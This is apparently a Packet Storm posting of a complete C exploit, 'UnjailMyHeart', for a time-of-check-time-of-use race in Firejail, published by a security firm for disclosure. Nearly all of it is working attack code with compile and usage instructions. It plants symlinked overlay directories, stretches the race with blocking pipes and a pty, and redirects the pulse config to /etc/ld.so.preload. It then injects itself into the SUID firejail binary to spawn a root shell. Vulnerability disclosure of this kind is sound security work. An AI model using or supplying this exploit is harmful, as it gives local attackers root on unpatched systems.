Firejail TOCTOU Race Condition ≈ Packet Storm

/** This software is provided by the copyright owner "as is"
* and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
* but not limited to, the implied warranties of merchantability
* and fitness for a particular purpose are disclaimed. In no
* event shall the copyright owner be liable for any direct,
* indirect, incidential, special, exemplary or consequential
* damages, including, but not limited to, procurement of substitute
* goods or services, loss of use, data or profits or business
* interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including
* negligence or otherwise, arising in any way out of the use
* of this software, even if advised of the possibility of such
* damage.
*
* Copyright (c) 2021 Unparalleled IT Services e.U.
*
* The software is only provided for reference to ease understanding
* and fixing of an underlying security issue in Firejail.
* Therefore it may NOT be distributed freely while the security
* issue is not fixed and patched software is available widely.
* After that phase permission to use, copy, modify, and distribute
* this software according to GNU Lesser General Public License
* (LGPL-3.0) purpose is hereby granted, provided that the above
* copyright notice and this permission notice appear in all
* copies.
*
*
* This program demonstrates a time-of-check-time-of-use TOCTOU
* vulnerability in Firejail. Winning it causes Firejail to create
* an insecure overlayfs layout, that is then used to escalate
* privileges by making /etc/ld.so.preload user writable.
*
* As the window of opportunity for a standard time race attack
* on the TOCTOU is quite narrow, this tool "expands" the window
* by synchronizing stdout and stderr using blocking pipes and
* a dedicated pty master/slave pair.
*
* As exploitation involves using /etc/ld.so.preload to inject
* a rogue library into a SUID binary, this program is designed
* to act as program and shared library at the same time. To
* compile it use:
*
* Bullseye: gcc -g -shared -fPIC -Wl,-Bsymbolic -Wl,-e_altStart -o UnjailMyHeart UnjailMyHeart.c
* Buster: gcc -g -fPIC -o UnjailMyHeart UnjailMyHeart.c
*
* Usage: UnjailMyHeart [optional Firejail command line for testing]
*
* See https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root/
* for more information.
*/

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>

typedef struct BlockableFdPair {
int readFd;
int writeFd;

int bytesWrittenToBlock;
int bytesSkipOnRead;
} BlockableFdPair;

extern char **environ;

#if defined(__x86_64__)
const char lib_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#define init_args(argc, argv) __asm__ volatile ( \
"mov 0x8(%%rbp), %%edx \n\tmov %%edx, %0 \n\tlea 0x10(%%rbp), %1 \n\t" \
:"=m"(argc), "=r"(argv)::"memory")
#elif
ABORT("No 32 bit support yet");
#endif

/** Library initialization function, called by the linker. To
* avoid interfering with other programs, the code will trigger
* only when the appropriate environment variable "UPGRADE"
* is set and euid != ruid.
*/
__attribute__((constructor))
extern void _libInit() {
__uid_t rUid, eUid, sUid;
__gid_t rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
char *trigger = getenv("UPGRADE");

if ((trigger) && (eUid != rUid)) {
fprintf(stderr, "Process uid/gid info: %d/%d/%d %d/%d/%d\n",
rUid, eUid, sUid, rGid, eGid, sGid);

if (setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids.\n");
return;
}
if (setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids.\n");
return;
}

// Remove the obsolete configuration.
unlink("/etc/ld.so.preload");
unlink("/tmp/client.conf");

char* args[4];
args[0] = "/bin/bash";
args[1] = "-c";
args[2] = "rm -rf -- /tmp/firejail /run/lock/firejail; exec /bin/bash";
args[3] = NULL;
execve(args[0], args, environ);
}
}

int createPtsPair(struct BlockableFdPair *fdPair) {
int masterDevFd = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if (masterDevFd < 0) {
return(-1);
}

// Change permission of slave PTY.
int result = grantpt(masterDevFd);
if (result) {
fprintf(stderr, "Grant failed.\n");
return(-1);
}

// Unlock Slave PTY so others can use it.
result = unlockpt(masterDevFd);
if (result) {
return(-1);
}

char name[1024];
result = ptsname_r(masterDevFd, name, 1024);
if (result) {
return(-1);
}
int slaveDevFd = open(name, O_RDWR);

// Disable cr/ln translation, this will mess up measurements
// later on.
struct termios termSettings;
result = tcgetattr(slaveDevFd, &termSettings);
if (result) {
fprintf(stderr, "Failed to get terminal settings.\n");
return(-1);
}
termSettings.c_iflag &= ~(INLCR | ICRNL | IXON);
termSettings.c_oflag &= ~(ONLCR | OCRNL);
termSettings.c_lflag &= ~(ECHO | ECHONL | ICANON);
result = tcsetattr(slaveDevFd, 0, &termSettings);
if (result) {
fprintf(stderr, "Failed to set terminal settings.\n");
return(-1);
}

fdPair->readFd = masterDevFd;
fdPair->writeFd = slaveDevFd;
return(0);
}

int fillTillBlocking(struct BlockableFdPair *fdPair, int fillLength) {
// No need to duuplicate the fd. Concurrent access from the subprogram
// would mess up fill level, position of fill bytes anyway.
int flags = fcntl(fdPair->writeFd, F_GETFL, 0);
fcntl(fdPair->writeFd, F_SETFL, flags|O_NONBLOCK);
// Pts write react really weird when writing in large blocks,
// so fill with small writes.
char buffer[1];
memset(buffer, 'A', sizeof(buffer));
int bytesWritten = 0;
while (fillLength) {
unsigned int remaining = sizeof(buffer);
if ((fillLength >= 0) && (fillLength < remaining)) {
remaining = fillLength;
}
int result = write(fdPair->writeFd, buffer, remaining);
if (result >= 0) {
bytesWritten += result;
fillLength -= result;
continue;
}
if (errno != EAGAIN) {
fprintf(
stderr,
"Unexpected write error %d (%s).\n", errno, strerror(errno));
}
break;
}

fcntl(fdPair->writeFd, F_SETFL, flags);
fdPair->bytesWrittenToBlock = bytesWritten;
fdPair->bytesSkipOnRead = bytesWritten;
return(0);
}

/** Read from the read side of the given fdPair. When there are
* still some bytes to skip then just read and discard them.
* Otherwise write them to this process' stdout.
* @param readLength the amount of data to read at most or -1
* to continue reading till first read fails due to lack of
* data.
* @return the amount of bytes read and discarded, 0 when nothing
* was read due to EOF or -1 on error.
*/
int handleRead(struct BlockableFdPair *fdPair, int readLength) {
char buffer[0x1000];

int bytesRead = 0;
errno = 0;
while (readLength) {
int remaining = sizeof(buffer);
if ((readLength > 0) && (readLength < sizeof(buffer))) {
remaining = readLength;
}
int result = read(fdPair->readFd, buffer, remaining);
if (result <= 0) {
if ((result) && (errno != EAGAIN) && (errno != EIO)) {
fprintf(
stderr, "Unexpected read result %d (%s).\n", errno,
strerror(errno));
}
break;
}
if (readLength > 0) {
readLength -= result;
}
bytesRead += result;

char *writeData = buffer;
if (fdPair->bytesSkipOnRead) {
if (fdPair->bytesSkipOnRead >= result) {
fdPair->bytesSkipOnRead -= result;
continue;
}
writeData += fdPair->bytesSkipOnRead;
result -= fdPair->bytesSkipOnRead;
fdPair->bytesSkipOnRead = 0;
}
write(1, writeData, result);
}
if ((!bytesRead) && (errno)) {
return(-1);
}
return(bytesRead);
}

/** Escalate privileges by spawning a root shell.
*/
int doEscalate() {
int preloadFd = open("/etc/ld.so.preload", O_RDWR);
if (preloadFd < 0) {
fprintf(stderr, "Exploitation failed.\n");
return(-1);
}
ftruncate(preloadFd, 0);
char executablePath[PATH_MAX];
int result = readlink(
"/proc/self/exe", executablePath, sizeof(executablePath));
if ((result < 0) && (result >= sizeof(executablePath))) {
return(-1);
}
write(preloadFd, executablePath, result);
close(preloadFd);

// We are unprivileged and cannot cleanup by ourself. Tell the
// user to do it.
fprintf(
stderr,
"\n\nSome cleaning spawing root shell...\n\n");

setenv("UPGRADE", "1", 1);
char* argList[3];
argList[0] = "/usr/bin/firejail";
argList[1] = "--invalid";
argList[2] = NULL;
execve(argList[0], argList, environ);
return(0);
}

int main(int argc, char **argv) {
char **programArgs = NULL;
int result;

if (argc == 1) {
fprintf(stderr, "Using default firejail startup arguments.\n");
char* argList[7];
argList[0] = "/usr/bin/firejail";
argList[1] = "--debug";
argList[2] = "--noprofile";
argList[3] = "--overlay-named=test";
argList[4] = "--shell=none";
argList[5] = "/non-existing-file";
argList[6] = NULL;
programArgs = argList;
} else {
programArgs = argv + 1;
}

// Run directory structure initialization.
result = system(
"set -e;\n"
"set -v;\n"
"# Cleanup old tests if any.\n"
"firejail --overlay-clean\n"
"if test -e \"${HOME}/.firejail-b\"; then\n"
" mv -i -- \"${HOME}/.firejail-b\" \"${HOME}/.firejail\" < /dev/null\n"
" firejail --overlay-clean\n"
"fi\n"
"\n"
"# Prepare the replacement jail. On modern kernel the directory\n"
"# cannot be on the same mount as the home directory, so use the\n"
"# /run/lock tmpfs instead.\n"
"overlayDir=\"/run/lock/firejail\"\n"
"mkdir -p -- \"${HOME}/.firejail-b/test\"\n"
"ln -s -- \"${overlayDir}/odiff\" \"${HOME}/.firejail-b/test/odiff\"\n"
"ln -s -- \"${overlayDir}/owork\" \"${HOME}/.firejail-b/test/owork\"\n"
"\n"
"# Now prepare the ooverlay directory.\n"
"mkdir -p -- \"${overlayDir}/odiff\" \"${overlayDir}/owork\"\n"
"\n"
"# Create the pulse audio configuration on upper to trigger\n"
"# firejail copying it.\n"
"# logic.\n"
"mkdir -p -- \"${overlayDir}/odiff/etc/pulse\"\n"
"# Let the pulse audio configuration point to a pipe on\n"
"# the non-overlayed /tmp tmpfs to win also the races when\n"
"# firejail is filling, chown/chmod-ing the configuration.\n"
"ln -s -- /tmp/client.conf \"${overlayDir}/odiff/etc/pulse/client.conf\"\n"
"mknod /tmp/client.conf p\n"
"\n"
"# Mess up overlayfs \"/run\" overmounting to have a writable\n"
"# /run/firejail directory as starting point for symlink attacks.\n"
"mkdir -p -- \"${overlayDir}/odiff/tmp/firejail\"\n"
"ln -s -- tmp/firejail \"${overlayDir}/odiff/run\"\n"
"\n"
"mkdir -p -- /tmp/firejail/firejail/mnt /tmp/firejail/firejail/firejail.ro.dir\n"
"touch /tmp/firejail/firejail/firejail.ro.file\n");

if (result) {
fprintf(stderr, "Failed to run initialization commands.\n");
return(1);
}

struct BlockableFdPair stderrFdPair;
memset(&stderrFdPair, 0, sizeof(BlockableFdPair));
int pipeFds[2];
if(pipe(pipeFds)) {
fprintf(stderr, "No pipes.\n");
return(1);
}
stderrFdPair.readFd = pipeFds[0];
stderrFdPair.writeFd = pipeFds[1];

struct BlockableFdPair stdoutFdPair;
memset(&stdoutFdPair, 0, sizeof(BlockableFdPair));
// We need a pts pair for stdout, so that glibc stdout enters
// line buffered mode.
if (createPtsPair(&stdoutFdPair)) {
fprintf(stderr, "Failed to create pts pair.\n");
return(1);
}

char *homeDirName = getenv("HOME");
if (!homeDirName) {
fprintf(stderr, "HOME not set.\n");
return(1);
}
int homeDirFd = open(homeDirName, O_RDONLY|O_DIRECTORY);
if (homeDirFd < 0) {
fprintf(stderr, "Failed to open home directory.\n");
return(1);
}

fcntl(stdoutFdPair.readFd, F_SETFL, O_NONBLOCK);
fcntl(stderrFdPair.readFd, F_SETFL, O_NONBLOCK);

fillTillBlocking(&stderrFdPair, -1);
handleRead(&stderrFdPair, -1);
fillTillBlocking(&stderrFdPair, stderrFdPair.bytesWrittenToBlock-60);

int childPid = fork();
if (childPid < 0) {
return(1);
}

if (!childPid) {
close(stdoutFdPair.readFd);
dup2(stdoutFdPair.writeFd, 1);
close(stdoutFdPair.writeFd);

close(stderrFdPair.readFd);
dup2(stderrFdPair.writeFd, 2);
close(stderrFdPair.writeFd);

// Change to root directory to avoid firejail output length changes
// due to different directories.
chdir("/");

// Open the old (non-overlayed) file system root to access it
// from within the overlay using /proc/self/fd/66/...
int oldRootHandle = open("/", O_RDONLY|O_DIRECTORY);
dup2(oldRootHandle, 66);
close(oldRootHandle);
execve(programArgs[0], programArgs, environ);
return(1);
}

// Firejail is now started. Wait for it to enter blocking on
// stderr.
fprintf(stderr, "Before sleep.\n");
sleep(1);

// Make sure stdout is empty while firejail is still blocked
// on stderr.
handleRead(&stdoutFdPair, -1);

// There seems to be some buffering magic when filling and reading
// from the pty. Therefore empty it completely and fill it just
// with that amount exactly needed.
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, stdoutFdPair.bytesWrittenToBlock-20);

// Read stderr to let program continue till stdout blocks.
handleRead(&stderrFdPair, -1);
sleep(1);

result = renameat2(
homeDirFd, ".firejail",
homeDirFd, ".firejail-b", RENAME_EXCHANGE);
if (result < 0) {
fprintf(
stderr, "Failed to rename directories %d (%s).\n",
errno, strerror(errno));
}
fprintf(stderr, "Renamed \".firejail\" directory.\n");

// The handle to the write side is not required any more. Close
// it, so that EOF is reached as soon as child is dead.
close(stdoutFdPair.writeFd);
close(stderrFdPair.writeFd);

int continueReadingFlag = 1;
int pulseSwitchedFlag = 0;
while (continueReadingFlag) {
usleep(100000);
continueReadingFlag = 0;
result = handleRead(&stderrFdPair, -1);
if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
continueReadingFlag = 1;
}
result = handleRead(&stdoutFdPair, -1);
if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
continueReadingFlag = 1;
}
if ((!pulseSwitchedFlag) &&
(!access("/tmp/firejail/firejail/mnt/pulse", F_OK))) {
sleep(1);
system(
"cd /tmp/firejail/firejail/mnt\n"
"mv -- pulse pulse.orig\n"
"mkdir -- pulse\n"
"ln -s -- /proc/1/fd/66/etc/ld.so.preload pulse/client.conf\n"
"echo -n \"\" > /tmp/client.conf\n");
pulseSwitchedFlag = 1;
}
}

// Release the zombie child.
if (waitpid(childPid, NULL, WNOHANG) <= 0) {
fprintf(
stderr,
"Weirdly child stdin/stdout is closed but child has not terminated yet.\n");
}

if (doEscalate()) {
return(1);
}
return(0);
}

extern void _altStart (void) {
int argc = 0;
char **argv = NULL;
init_args(argc, argv);
int result = main(argc, argv);
exit(result);
}